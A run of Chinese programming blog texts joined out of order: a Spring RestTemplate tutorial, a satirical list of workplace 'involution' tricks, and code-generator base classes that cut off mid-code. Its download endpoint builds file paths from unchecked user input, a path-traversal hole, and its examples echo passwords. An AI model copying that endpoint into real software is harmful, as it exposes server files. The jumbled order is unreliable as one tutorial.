"http://localhost:8080/downloadFile/{1}/{2}"; //对响应进行流式处理而不是将其全部加载到内存中 httpTemplate.downloadBigFile(url, createHeader("downloadBigFile"), clientHttpResponse -> { Files.copy(clientHttpResponse.getBody(), Paths.get(targetPath)); return null; }, userName, fileName); } /** * 自定义请求头部 * @param value * @return */ private Map<String, String> createHeader(String value){ Map<String, String> headers = new HashMap<>(); headers.put("token", value); return headers; } }假如返回的对象是一个范型,应该怎么处理呢?在上篇文章中,我们介绍的返回对象都是非范型,例如返回的都是ResponseBean这个业务对象,用法也很简单,以POST请求+JSON提交方式为例,通过如下方式即可实现返回对象的序列化!ResponseBean responseBean = httpTemplate.postByJson(url, createHeader("testPostByJson"), request, ResponseBean.class);但是,假如返回的对象是ResponseBean<xxx>这样的,通过上面的方式来操作会直接报错!当遇到返回的对象是范型类型的时候,我们可以这样操作!以下面这个/testPostByJsonObj接口为例!/** * 模拟JSON请求,post方法测试 * @param request * @return */ @RequestMapping(value = "testPostByJsonObj", method = RequestMethod.POST) public ResponseBeanObj<ResponseBean> testPostByJsonObj(@RequestBody RequestBean requestBean, HttpServletRequest request){ HttpServletRequestLog.systemLog(request); //范型测试 ResponseBean responseBean = new ResponseBean(); responseBean.setCode("200000"); responseBean.setMsg("responseBean"); //范型测试 ResponseBeanObj<ResponseBean> result = new ResponseBeanObj<>(); result.setCode("200"); result.setMsg("请求成功,方法:testPostByJsonObj,请求参数:" + JSON.toJSONString(requestBean)); result.setObj(responseBean); System.out.println(JSON.toJSONString(result)); return result; }使用RestTemplate工具发起网络请求,代码如下!//将返回的范型对象包装到ParameterizedTypeReference对象里面 ParameterizedTypeReference<ResponseBeanObj<ResponseBean>> typeRef = new ParameterizedTypeReference<ResponseBeanObj<ResponseBean>>() {}; //使用restTemplate发起网络请求 ResponseBeanObj<ResponseBean> responseBean = restTemplate.exchange(url, HttpMethod.POST, request, typeRef);采用restTemplate.exchange()方法,即可实现返回对象范型类型的反序列化!如果使用上面封装的HttpTemplate工具进行操作,也更简单,代码如下:/** * 模拟JSON提交,post请求,范型返回对象测试 */ @Test public void testPostByJsonObj(){ //请求地址 String url = "http://localhost:8080/testPostByJsonObj"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //发送post请求 ParameterizedTypeReference<ResponseBeanObj<ResponseBean>> typeRef = new ParameterizedTypeReference<ResponseBeanObj<ResponseBean>>() {}; //范型测试 ResponseBeanObj<ResponseBean> responseBean = httpTemplate.postByJson(url, createHeader("testPostByJsonObj"), request, typeRef); System.out.println(JSON.toJSONString(responseBean)); }三、自定义拦截器在某些场景下,当你使用restTemplate发起网络请求时,所有的请求头部需要带上统一的参数,例如Authorization鉴权码,这个时候改怎么办呢?可能有的同学,想到的就是在传参数的时候,带上请求头部参数!这种方法也可以解决问题!有没有好的办法统一入口加入呢?答案肯定是有的,我们可以利用RestTemplate提供的拦截器链来解决这个问题。例如在RestTemplate初始化之后,添加一个拦截器,然后在拦截器的请求头部统一注入鉴权码,就可以轻松实现全局加入某个参数,方式如下!/** * 初始化RestTemplate * @return */ @Bean public RestTemplate restTemplate(){ RestTemplate restTemplate = new RestTemplate(getClientHttpRequestFactory()); // 添加一个拦截器,在请求头部添加 Authorization 鉴权码 restTemplate.getInterceptors().add((request, body, execution) -> { request.getHeaders().add("Authorization", "xxxxxXXXXX"); return execution.execute(request, body); }); return restTemplate; }四、小结通过本章的讲解,想必读者初步的了解了如何基于RestTemplate做第二次封装,以便于更佳适配当前团队开发人员的习惯。RestTemplate的功能其实非常强大,作者也仅仅学了点皮毛,在后续如果有新的功能,也会分享给大家,希望对网友们有所帮助!
使用ResponseEntity<T> responseEntity来接收响应结果。用responseEntity.getBody()获取响应体。/** * 单元测试 */ @Test public void testAllGet(){ //请求地址 String url = "http://localhost:8080/testGet"; //发起请求,返回全部信息 ResponseEntity<ResponseBean> response = restTemplate.getForEntity(url, ResponseBean.class); // 获取响应体 System.out.println("HTTP 响应body:" + response.getBody().toString()); // 以下是getForEntity比getForObject多出来的内容 HttpStatus statusCode = response.getStatusCode(); int statusCodeValue = response.getStatusCodeValue(); HttpHeaders headers = response.getHeaders(); System.out.println("HTTP 响应状态:" + statusCode); System.out.println("HTTP 响应状态码:" + statusCodeValue); System.out.println("HTTP Headers信息:" + headers); }3.2、POST 请求其实POST请求方法和GET请求方法上大同小异,RestTemplate的POST请求也包含两个主要方法:postForObject()postForEntity()postForEntity()返回全部的信息,postForObject()方法返回body对象,具体使用方法如下!模拟表单请求,post方法测试@RestController public class TestController { /** * 模拟表单请求,post方法测试 * @return */ @RequestMapping(value = "testPostByForm", method = RequestMethod.POST) public ResponseBean testPostByForm(@RequestParam("userName") String userName, @RequestParam("userPwd") String userPwd){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testPostByForm,请求参数userName:" + userName + ",userPwd:" + userPwd); return result; } }@Autowired private RestTemplate restTemplate; /** * 模拟表单提交,post请求 */ @Test public void testPostByForm(){ //请求地址 String url = "http://localhost:8080/testPostByForm"; // 请求头设置,x-www-form-urlencoded格式的数据 HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED); //提交参数设置 MultiValueMap<String, String> map = new LinkedMultiValueMap<>(); map.add("userName", "唐三藏"); map.add("userPwd", "123456"); // 组装请求体 HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(map, headers); //发起请求 ResponseBean responseBean = restTemplate.postForObject(url, request, ResponseBean.class); System.out.println(responseBean.toString()); }模拟表单请求,post方法测试(对象接受)@RestController public class TestController { /** * 模拟表单请求,post方法测试 * @param request * @return */ @RequestMapping(value = "testPostByFormAndObj", method = RequestMethod.POST) public ResponseBean testPostByForm(RequestBean request){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testPostByFormAndObj,请求参数:" + JSON.toJSONString(request)); return result; } }public class RequestBean { private String userName; private String userPwd; public String getUserName() { return userName; } public void setUserName(String userName) { this.userName = userName; } public String getUserPwd() { return userPwd; } public void setUserPwd(String userPwd) { this.userPwd = userPwd; } }@Autowired private RestTemplate restTemplate; /** * 模拟表单提交,post请求 */ @Test public void testPostByForm(){ //请求地址 String url = "http://localhost:8080/testPostByFormAndObj"; // 请求头设置,x-www-form-urlencoded格式的数据 HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.APPLICATION_FORM_URLENCODED); //提交参数设置 MultiValueMap<String, String> map = new LinkedMultiValueMap<>(); map.add("userName", "唐三藏"); map.add("userPwd", "123456"); // 组装请求体 HttpEntity<MultiValueMap<String, String>> request = new HttpEntity<>(map, headers); //发起请求 ResponseBean responseBean = restTemplate.postForObject(url, request, ResponseBean.class); System.out.println(responseBean.toString()); }模拟 JSON 请求,post 方法测试@RestController public class TestController { /** * 模拟JSON请求,post方法测试 * @param request * @return */ @RequestMapping(value = "testPostByJson", method = RequestMethod.POST) public ResponseBean testPostByJson(@RequestBody RequestBean request){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testPostByJson,请求参数:" + JSON.toJSONString(request)); return result; } }@Autowired private RestTemplate restTemplate; /** * 模拟JSON提交,post请求 */ @Test public void testPostByJson(){ //请求地址 String url = "http://localhost:8080/testPostByJson"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //发送post请求,并打印结果,以String类型接收响应结果JSON字符串 ResponseBean responseBean = restTemplate.postForObject(url, request, ResponseBean.class); System.out.println(responseBean.toString()); }模拟页面重定向,post请求@Controller public class LoginController { /** * 重定向 * @param request * @return */ @RequestMapping(value = "testPostByLocation", method = RequestMethod.POST) public String testPostByLocation(@RequestBody RequestBean request){ return "redirect:index.html"; } }@Autowired private RestTemplate restTemplate; /** * 重定向,post请求 */ @Test public void testPostByLocation(){ //请求地址 String url = "http://localhost:8080/testPostByLocation"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //用于提交完成数据之后的页面跳转,返回跳转url URI uri = restTemplate.postForLocation(url, request); System.out.println(uri.toString()); }输出结果如下:http://localhost:8080/index.html3.3、PUT 请求put请求方法,可能很多人都没用过,它指的是修改一个已经存在的资源或者插入资源,该方法会向URL代表的资源发送一个HTTP PUT方法请求,示例如下!@RestController public class TestController { /** * 模拟JSON请求,put方法测试 * @param request * @return */ @RequestMapping(value = "testPutByJson", method = RequestMethod.PUT) public void testPutByJson(@RequestBody RequestBean request){ System.out.println("请求成功,方法:testPutByJson,请求参数:" + JSON.toJSONString(request)); } }@Autowired private RestTemplate restTemplate; /** * 模拟JSON提交,put请求 */ @Test public void testPutByJson(){ //请求地址 String url = "http://localhost:8080/testPutByJson"; //入参 RequestBean request = new RequestBean(); request.setUserName("唐三藏"); request.setUserPwd("123456789"); //模拟JSON提交,put请求 restTemplate.put(url, request); }3.4、DELETE 请求与之对应的还有delete方法协议,表示删除一个已经存在的资源,该方法会向URL代表的资源发送一个HTTP DELETE方法请求。@RestController public class TestController { /** * 模拟JSON请求,delete方法测试 * @return */ @RequestMapping(value = "testDeleteByJson", method = RequestMethod.DELETE) public void testDeleteByJson(){ System.out.println("请求成功,方法:testDeleteByJson"); } }@Autowired private RestTemplate restTemplate; /** * 模拟JSON提交,delete请求 */ @Test public void testDeleteByJson(){ //请求地址 String url = "http://localhost:8080/testDeleteByJson"; //模拟JSON提交,delete请求 restTemplate.delete(url); }3.5、通用请求方法 exchange 方法如果以上方法还不满足你的要求。在RestTemplate工具类里面,还有一个exchange通用协议请求方法,它可以发送GET、POST、DELETE、PUT、OPTIONS、PATCH等等HTTP方法请求。打开源码,我们可以很清晰的看到这一点。采用exchange方法,可以满足各种场景下的请求操作!3.6、文件上传与下载除了经常用到的get和post请求以外,还有一个我们经常会碰到的场景,那就是文件的上传与下载,如果采用RestTemplate,该怎么使用呢?案例如下,具体实现细节参考代码注释!文件上传@RestController public class FileUploadController { private static final String UPLOAD_PATH = "/springboot-frame-example/springboot-example-resttemplate/"; /** * 文件上传 * @param uploadFile * @return */ @RequestMapping(value = "upload", method = RequestMethod.POST) public ResponseBean upload(@RequestParam("uploadFile") MultipartFile uploadFile, @RequestParam("userName") String userName) { // 在 uploadPath 文件夹中通过用户名对上传的文件归类保存 File folder = new File(UPLOAD_PATH + userName); if (!folder.isDirectory()) { folder.mkdirs(); } // 对上传的文件重命名,避免文件重名 String oldName = uploadFile.getOriginalFilename(); String newName = UUID.randomUUID().toString() + oldName.substring(oldName.lastIndexOf(".")); //定义返回视图 ResponseBean result = new ResponseBean(); try { // 文件保存 uploadFile.transferTo(new File(folder, newName)); result.setCode("200"); result.setMsg("文件上传成功,方法:upload,文件名:" + newName); } catch (IOException e) { e.printStackTrace(); result.setCode("500"); result.setMsg("文件上传失败,方法:upload,请求文件:" + oldName); } return result; } }@Autowired private RestTemplate restTemplate; /** * 文件上传,post请求 */ @Test public void upload(){ //需要上传的文件 String filePath = "/Users/panzhi/Desktop/Jietu20220205-194655.jpg"; //请求地址 String url = "http://localhost:8080/upload"; // 请求头设置,multipart/form-data格式的数据 HttpHeaders headers = new HttpHeaders(); headers.setContentType(MediaType.MULTIPART_FORM_DATA); //提交参数设置 MultiValueMap<String, Object> param = new LinkedMultiValueMap<>(); param.add("uploadFile", new FileSystemResource(new File(filePath))); //服务端如果接受额外参数,可以传递 param.add("userName", "张三"); // 组装请求体 HttpEntity<MultiValueMap<String, Object>> request = new HttpEntity<>(param, headers); //发起请求 ResponseBean responseBean = restTemplate.postForObject(url, request, ResponseBean.class); System.out.println(responseBean.toString()); }文件下载@RestController public class FileUploadController { private static final String UPLOAD_PATH = "springboot-frame-example/springboot-example-resttemplate/"; /** * 带参的get请求(restful风格) * @return */ @RequestMapping(value = "downloadFile/{userName}/{fileName}", method = RequestMethod.GET) public void downloadFile(@PathVariable(value = "userName") String userName, @PathVariable(value = "fileName") String fileName, HttpServletRequest request, HttpServletResponse response) throws Exception { File file = new File(UPLOAD_PATH + userName + File.separator + fileName); if (file.exists()) { //获取文件流 FileInputStream fis = new FileInputStream(file); //获取文件后缀(.png) String extendFileName = fileName.substring(fileName.lastIndexOf('.')); //动态设置响应类型,根据前台传递文件类型设置响应类型 response.setContentType(request.getSession().getServletContext().getMimeType(extendFileName)); //设置响应头,attachment表示以附件的形式下载,inline表示在线打开 response.setHeader("content-disposition","attachment;fileName=" + URLEncoder.encode(fileName,"UTF-8")); //获取输出流对象(用于写文件) OutputStream os = response.getOutputStream(); //下载文件,使用spring框架中的FileCopyUtils工具 FileCopyUtils.copy(fis,os); } } }@Autowired private RestTemplate restTemplate; /** * 小文件下载 * @throws IOException */ @Test public void downloadFile() throws IOException { String userName = "张三"; String fileName = "c98b677c-0948-46ef-84d2-3742a2b821b0.jpg"; //请求地址 String url = "http://localhost:8080/downloadFile/{1}/{2}"; //发起请求,直接返回对象(restful风格) ResponseEntity<byte[]> rsp = restTemplate.getForEntity(url, byte[].class, userName,fileName); System.out.println("文件下载请求结果状态码:" + rsp.getStatusCode()); // 将下载下来的文件内容保存到本地 String targetPath = "/Users/panzhi/Desktop/" + fileName; Files.write(Paths.get(targetPath), Objects.requireNonNull(rsp.getBody(), "未获取到下载文件")); }这种下载方法实际上是将下载文件一次性加载到客户端本地内存,然后从内存将文件写入磁盘。这种方式对于小文件的下载还比较适合,如果文件比较大或者文件下载并发量比较大,容易造成内存的大量占用,从而降低应用的运行效率。大文件下载@Autowired private RestTemplate restTemplate; /** * 大文件下载 * @throws IOException */ @Test public void downloadBigFile() throws IOException { String userName = "张三"; String fileName = "c98b677c-0948-46ef-84d2-3742a2b821b0.jpg"; //请求地址 String url = "http://localhost:8080/downloadFile/{1}/{2}"; //定义请求头的接收类型 RequestCallback requestCallback = request -> request.getHeaders() .setAccept(Arrays.asList(MediaType.APPLICATION_OCTET_STREAM, MediaType.ALL)); //对响应进行流式处理而不是将其全部加载到内存中 String targetPath = "/Users/panzhi/Desktop/" + fileName; restTemplate.execute(url, HttpMethod.GET, requestCallback, clientHttpResponse -> { Files.copy(clientHttpResponse.getBody(), Paths.get(targetPath)); return null; }, userName, fileName); }这种下载方式的区别在于:设置了请求头APPLICATION_OCTET_STREAM,表示以流的形式进行数据加载RequestCallback结合File.copy保证了接收到一部分文件内容,就向磁盘写入一部分内容。而不是全部加载到内存,最后再写入磁盘文件。在下载大文件时,例如excel、pdf、zip等等文件,特别管用,四、小结通过本章的讲解,想必读者初步的了解了如何使用RestTemplate方便快捷的访问restful接口。其实RestTemplate的功能非常强大,作者也仅仅学了点皮毛。如果大家觉得本文有什么地方没写清楚的或者有其他什么想要了解的可以在下方留言,我后续会尽量在文中进行补充完善!
一、简介现如今的 IT 项目,由服务端向外发起网络请求的场景,基本上处处可见!传统情况下,在服务端代码里访问 http 服务时,我们一般会使用 JDK 的 HttpURLConnection 或者 Apache 的 HttpClient,不过这种方法使用起来太过繁琐,而且 api 使用起来非常的复杂,还得操心资源回收。以下载文件为例,通过 Apache 的 HttpClient方式进行下载文件,下面这个是我之前封装的代码逻辑,看看有多复杂!其实Spring已经为我们提供了一种简单便捷的模板类来进行操作,它就是RestTemplate。RestTemplate是一个执行HTTP请求的同步阻塞式工具类,它仅仅只是在 HTTP 客户端库(例如 JDK HttpURLConnection,Apache HttpComponents,okHttp 等)基础上,封装了更加简单易用的模板方法 API,方便程序员利用已提供的模板方法发起网络请求和处理,能很大程度上提升我们的开发效率。好了,不多 BB 了,代码撸起来!二、环境配置2.1、非 Spring 环境下使用 RestTemplate如果当前项目不是Spring项目,加入spring-web包,即可引入RestTemplate类<dependency> <groupId>org.springframework</groupId> <artifactId>spring-web</artifactId> <version>5.2.6.RELEASE</version> </dependency>编写一个单元测试类,使用RestTemplate发送一个GET请求,看看程序运行是否正常@Test public void simpleTest() { RestTemplate restTemplate = new RestTemplate(); String url = "http://jsonplaceholder.typicode.com/posts/1"; String str = restTemplate.getForObject(url, String.class); System.out.println(str); }2.2、Spring 环境下使用 RestTemplate如果当前项目是SpringBoot,添加如下依赖接口!<dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency>同时,将RestTemplate配置初始化为一个Bean。@Configuration public class RestTemplateConfig { /** * 没有实例化RestTemplate时,初始化RestTemplate * @return */ @ConditionalOnMissingBean(RestTemplate.class) @Bean public RestTemplate restTemplate(){ RestTemplate restTemplate = new RestTemplate(); return restTemplate; } }注意,这种初始化方法,是使用了JDK自带的HttpURLConnection作为底层HTTP客户端实现。当然,我们还可以修改RestTemplate默认的客户端,例如将其改成HttpClient客户端,方式如下:@Configuration public class RestTemplateConfig { /** * 没有实例化RestTemplate时,初始化RestTemplate * @return */ @ConditionalOnMissingBean(RestTemplate.class) @Bean public RestTemplate restTemplate(){ RestTemplate restTemplate = new RestTemplate(getClientHttpRequestFactory()); return restTemplate; } /** * 使用HttpClient作为底层客户端 * @return */ private ClientHttpRequestFactory getClientHttpRequestFactory() { int timeout = 5000; RequestConfig config = RequestConfig.custom() .setConnectTimeout(timeout) .setConnectionRequestTimeout(timeout) .setSocketTimeout(timeout) .build(); CloseableHttpClient client = HttpClientBuilder .create() .setDefaultRequestConfig(config) .build(); return new HttpComponentsClientHttpRequestFactory(client); } }在需要使用RestTemplate的位置,注入并使用即可!@Autowired private RestTemplate restTemplate;从开发人员的反馈,和网上的各种HTTP客户端性能以及易用程度评测来看,OkHttp 优于 Apache的HttpClient、Apache的HttpClient优于HttpURLConnection。因此,我们还可以通过如下方式,将底层的http客户端换成OkHttp!/** * 使用OkHttpClient作为底层客户端 * @return */ private ClientHttpRequestFactory getClientHttpRequestFactory(){ OkHttpClient okHttpClient = new OkHttpClient.Builder() .connectTimeout(5, TimeUnit.SECONDS) .writeTimeout(5, TimeUnit.SECONDS) .readTimeout(5, TimeUnit.SECONDS) .build(); return new OkHttp3ClientHttpRequestFactory(okHttpClient); }三、API 实践RestTemplate最大的特色就是对各种网络请求方式做了包装,能极大的简化开发人员的工作量,下面我们以GET、POST、PUT、DELETE、文件上传与下载为例,分别介绍各个API的使用方式!3.1、GET 请求通过RestTemplate发送HTTP GET协议请求,经常使用到的方法有两个:getForObject()getForEntity()二者的主要区别在于,getForObject()返回值是HTTP协议的响应体。getForEntity()返回的是ResponseEntity,ResponseEntity是对HTTP响应的封装,除了包含响应体,还包含HTTP状态码、contentType、contentLength、Header等信息。在Spring Boot环境下写一个单元测试用例,首先创建一个Api接口,然后编写单元测试进行服务测试。不带参的get请求@RestController public class TestController { /** * 不带参的get请求 * @return */ @RequestMapping(value = "testGet", method = RequestMethod.GET) public ResponseBean testGet(){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testGet"); return result; } }public class ResponseBean { private String code; private String msg; public String getCode() { return code; } public void setCode(String code) { this.code = code; } public String getMsg() { return msg; } public void setMsg(String msg) { this.msg = msg; } @Override public String toString() { return "ResponseBean{" + "code='" + code + '\'' + ", msg='" + msg + '\'' + '}'; } }@Autowired private RestTemplate restTemplate; /** * 单元测试(不带参的get请求) */ @Test public void testGet(){ //请求地址 String url = "http://localhost:8080/testGet"; //发起请求,直接返回对象 ResponseBean responseBean = restTemplate.getForObject(url, ResponseBean.class); System.out.println(responseBean.toString()); }带参的get请求(restful风格)@RestController public class TestController { /** * 带参的get请求(restful风格) * @return */ @RequestMapping(value = "testGetByRestFul/{id}/{name}", method = RequestMethod.GET) public ResponseBean testGetByRestFul(@PathVariable(value = "id") String id, @PathVariable(value = "name") String name){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testGetByRestFul,请求参数id:" + id + "请求参数name:" + name); return result; } }@Autowired private RestTemplate restTemplate; /** * 单元测试(带参的get请求) */ @Test public void testGetByRestFul(){ //请求地址 String url = "http://localhost:8080/testGetByRestFul/{1}/{2}"; //发起请求,直接返回对象(restful风格) ResponseBean responseBean = restTemplate.getForObject(url, ResponseBean.class, "001", "张三"); System.out.println(responseBean.toString()); }带参的get请求(使用占位符号传参)@RestController public class TestController { /** * 带参的get请求(使用占位符号传参) * @return */ @RequestMapping(value = "testGetByParam", method = RequestMethod.GET) public ResponseBean testGetByParam(@RequestParam("userName") String userName, @RequestParam("userPwd") String userPwd){ ResponseBean result = new ResponseBean(); result.setCode("200"); result.setMsg("请求成功,方法:testGetByParam,请求参数userName:" + userName + ",userPwd:" + userPwd); return result; } }@Autowired private RestTemplate restTemplate; /** * 单元测试(带参的get请求) */ @Test public void testGetByParam(){ //请求地址 String url = "http://localhost:8080/testGetByParam?userName={userName}&userPwd={userPwd}"; //请求参数 Map<String, String> uriVariables = new HashMap<>(); uriVariables.put("userName", "唐三藏"); uriVariables.put("userPwd", "123456"); //发起请求,直接返回对象(带参数请求) ResponseBean responseBean = restTemplate.getForObject(url, ResponseBean.class, uriVariables); System.out.println(responseBean.toString()); }上面的所有的getForObject请求传参方法,getForEntity都可以使用,使用方法上也几乎是一致的,只是在返回结果接收的时候略有差别。
现阶段内卷已经成为互联网行业的专有名词,在很多公司,内卷的程度则代表着员工的努力程度,本文尝试教授十招程序员内卷操作,学完过后,帮助你干啥啥不行,内卷第一名。“声明:本文内容纯属虚构,如有雷同,纯属巧合。因学会本文内卷操作被老板开除的,一切与阿粉无关,请谨慎学习~第一招:同事不走我不走既然要内卷,那么第一招必须是修炼基本功,内卷的第一基本功就是加班。有道是领导不走我不走,同事不走我不走!在白天工作的时候,我们要学会利用时间,比如多带薪上上厕所,多带薪打打水,这里我们要注意千万不要买那种容量很大的水杯,我们要买一个小点的杯子,最好还不是保温的,这样就可以增加我们带薪打水以及带薪上厕所的次数。当然对外的说法是我们要劳逸结合,毕竟程序员坐久了身体吃不消,我们要多走动走动,并且通过这种方式,我们也为后面的招式打好了基础。第二招:加班后一定要发朋友圈学会了第一招过后,我们经常会发现有些工作在白天是做不完的,当然这是我们故意为之,为了就是晚上加班的有事情做,但是这不能让其他人知道,对外我们要说:这个需求不合理,这个需求比较复杂。晚上加班的时候,当发现有同事下班,我们一定要及时的说一声:这么早就下班啊,工作做完没?问的时候声音一定要大,而且不管对方回答什么,都不要回答,继续假装很忙的样子。当周围的同事领导都走了过后,最后的也是最重要的,我们走的时候要记得拍一张自己顺手关灯的照片,并发朋友圈配文:每天下班关灯的时候,都能感受到一天的充实。第三招:下班后 24 小时响应群里消息作为一个严重内卷的程序员,只有工作没有生活,24 小时待命,任何时候只要群里面有消息,不管是不是自己的问题,看到马上响应并及时处理,同时 @ 领导和相关同事,随时汇报进度。我们这样做是在让老板领导知道,工作才是最重要的!工作使我们开心!第四招:日报凌晨发,周报周末发作为有目标有主见的内卷程序员,不管公司要不要求,写日报和周报是必不可少的,而且我们要做到,日报一定要在过了零点过后发,周报一定要在周末发,毕竟白天上班,晚上加班,我们都很忙,日报周报的时间只能安排在这个时间点。同时要让领导相信,只有在夜深人静的时候,我们才能更好的思考和总结!同时日报周报的文字一定要多,排版一定要好看,任何细节我们都不能放过。第五招:中午别人午休,我敲代码午休是什么?那些打着中午不睡,下午崩溃旗帜的人都是在欺骗自己,工作是充满激情的,怎么会困?要知道死后必定长眠,所以生时何必多睡!我们坚决不能午休,雀巢,星巴克喝起来,午休是在时间浪费,我们要在别人午休的时候尽情的在知识的海洋里面畅游。还有当遇到一些小问题,需要同事帮助的时候,我们要及时把同事叫醒,并且礼貌的说到:不好意思,这个挺急的 。注意:一定要面带微笑,否则被打了不关阿粉的事情。第六招:拒绝私聊,有事我们群里说既然要内卷,那我们要知道是卷给谁看的,当然是领导和老板!所以平常工作的时候,拒绝和同事私聊,在工作的事情上不管大小,我们一定要在群里沟通,要让老板知道我们一直在努力。特别是在有争论并且自己有理的情况下,不要怕这样会让同事没面子,要知道我们这样做是在帮他,同时也要让老板知道我们有多么的严谨和认真。第七招:工作汇报必须要配上高大上的 PPT平时的工作汇报或者述职,一定要制作高大上的 PPT,并且配上自己做的所有的工作内容,在领导和同事面前一定要充分的展示自我,把自己做的东西完全的说出来,哪怕这个东西很简单,毕竟并不是每个人都像自己一样聪明。第八招:十点上班,八点到加班不一定是晚上,我们也可以早上早早的就开始工作,每天当别人还在睡梦中的时候,我们就在群里面发送相关的工作消息,让领导和同事知道,虽然公司是十点上班,但是我们八点就开始进入工作状态了。每天第一件事就是把自己一天要做的事情用便利贴写出来,贴在显示器上面,让别人都能看到,记住:字写的一定要打,避免别人看不清。第九招:工位上一定要有几本书工位上一定要放上几本专业书籍,看不看得懂没关系,主要是要有!更重要的是一定要翻开一本,同时在上面要留有一些圈圈点点,让别人看出来我们看书的时候是很认真的,不仅看了内容,还做了记号。同时也要知道程序员的工位桌面,核心是乱!毕竟我们很忙,哪有时间整理这些,时间很宝贵的。第十招:走别人的路让别人无路可走最后一招走别人的路让别人无路可走,这一招放在最后不是因为不重要,恰恰相反很重要。很多程序员都会说自己平时工作已经很忙了,根本没有时间去学习充实自己。这个时候刚刚好是给我们的机会,我们要私底下偷偷的学习最新的技术,然后时不时在同事面前炫耀一下,让他们感受到压力。总结有道是师父领进门,修行在个人,阿粉只能帮你们到这了,剩下的就看各自的造化了。当然如果少侠有更好的内卷招式欢迎在评论区留言,让更多的人看到,帮助大家一起内卷起来!“温馨提示:内卷有风险,修行需谨慎。
编写vo视图实体类模板package ${voPackageName}; import java.io.Serializable; /** * @ClassName: ${voName} * @Description: 返回视图实体类 * @author ${authorName} * @date ${currentTime} * */ public class ${voName} implements Serializable { private static final long serialVersionUID = 1L; }可能细心的网友已经看到了,在模板中我们用到了BaseMapper、BaseService、BaseServiceImpl等等服务类。之所以有这三个类,是因为在模板中,我们有大量的相同的方法名包括逻辑也相似,除了所在实体类不一样意以外,其他都一样,因此我们可以借助泛型类来将这些服务抽成公共的部分。BaseMapper,主要负责将dao层的公共方法抽出来package com.example.generator.core; import org.apache.ibatis.annotations.Param; import java.io.Serializable; import java.util.List; import java.util.Map; /** * @author pzblog * @Description * @since 2020-11-11 */ public interface BaseMapper<T> { /** * 批量插入 * @param list * @return */ int insertList(@Param("list") List<T> list); /** * 按需插入一条记录 * @param entity * @return */ int insertPrimaryKeySelective(T entity); /** * 按需修改一条记录(通过主键ID) * @return */ int updatePrimaryKeySelective(T entity); /** * 批量按需修改记录(通过主键ID) * @param list * @return */ int updateBatchByIds(@Param("list") List<T> list); /** * 根据ID删除 * @param id 主键ID * @return */ int deleteByPrimaryKey(Serializable id); /** * 根据ID查询 * @param id 主键ID * @return */ T selectByPrimaryKey(Serializable id); /** * 按需查询 * @param entity * @return */ List<T> selectByPrimaryKeySelective(T entity); /** * 批量查询 * @param ids 主键ID集合 * @return */ List<T> selectByIds(@Param("ids") List<? extends Serializable> ids); /** * 查询(根据 columnMap 条件) * @param columnMap 表字段 map 对象 * @return */ List<T> selectByMap(Map<String, Object> columnMap); }BaseService,主要负责将service层的公共方法抽出来package com.example.generator.core; import java.io.Serializable; import java.util.List; import java.util.Map; /** * @author pzblog * @Description 服务类 * @since 2020-11-11 */ public interface BaseService<T> { /** * 新增 * @param entity * @return boolean */ boolean insert(T entity); /** * 批量新增 * @param list * @return boolean */ boolean insertList(List<T> list); /** * 通过ID修改记录(如果想全部更新,只需保证字段都不为NULL) * @param entity * @return boolean */ boolean updateById(T entity); /** * 通过ID批量修改记录(如果想全部更新,只需保证字段都不为NULL) * @param list * @return boolean */ boolean updateBatchByIds(List<T> list); /** * 根据ID删除 * @param id 主键ID * @return boolean */ boolean deleteById(Serializable id); /** * 根据ID查询 * @param id 主键ID * @return */ T selectById(Serializable id); /** * 按需查询 * @param entity * @return */ List<T> selectByPrimaryKeySelective(T entity); /** * 批量查询 * @param ids * @return */ List<T> selectByIds(List<? extends Serializable> ids); /** * 根据条件查询 * @param columnMap * @return */ List<T> selectByMap(Map<String, Object> columnMap); }BaseServiceImpl,service层的公共方法具体实现类package com.example.generator.core; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.transaction.annotation.Transactional; import java.io.Serializable; import java.util.List; import java.util.Map; /** * @author pzblog * @Description 实现类( 泛型说明:M 是 mapper 对象,T 是实体) * @since 2020-11-11 */ public abstract class BaseServiceImpl<M extends BaseMapper<T>, T> implements BaseService<T>{ @Autowired protected M baseMapper; /** * 新增 * @param entity * @return boolean */ @Override @Transactional(rollbackFor = {Exception.class}) public boolean insert(T entity){ return returnBool(baseMapper.insertPrimaryKeySelective(entity)); } /** * 批量新增 * @param list * @return boolean */ @Override @Transactional(rollbackFor = {Exception.class}) public boolean insertList(List<T> list){ return returnBool(baseMapper.insertList(list)); } /** * 通过ID修改记录(如果想全部更新,只需保证字段都不为NULL) * @param entity * @return boolean */ @Override @Transactional(rollbackFor = {Exception.class}) public boolean updateById(T entity){ return returnBool(baseMapper.updatePrimaryKeySelective(entity)); } /** * 通过ID批量修改记录(如果想全部更新,只需保证字段都不为NULL) * @param list * @return boolean */ @Override @Transactional(rollbackFor = {Exception.class}) public boolean updateBatchByIds(List<T> list){ return returnBool(baseMapper.updateBatchByIds(list)); } /** * 根据ID删除 * @param id 主键ID * @return boolean */ @Override @Transactional(rollbackFor = {Exception.class}) public boolean deleteById(Serializable id){ return returnBool(baseMapper.deleteByPrimaryKey(id)); } /** * 根据ID查询 * @param id 主键ID * @return */ @Override public T selectById(Serializable id){ return baseMapper.selectByPrimaryKey(id); } /** * 按需查询 * @param entity * @return */ @Override public List<T> selectByPrimaryKeySelective(T entity){ return baseMapper.selectByPrimaryKeySelective(entity); } /** * 批量查询 * @param ids * @return */ @Override public List<T> selectByIds(List<? extends Serializable> ids){ return baseMapper.selectByIds(ids); } /** * 根据条件查询 * @param columnMap * @return */ @Override public List<T> selectByMap(Map<String, Object> columnMap){ return baseMapper.selectByMap(columnMap); } /** * 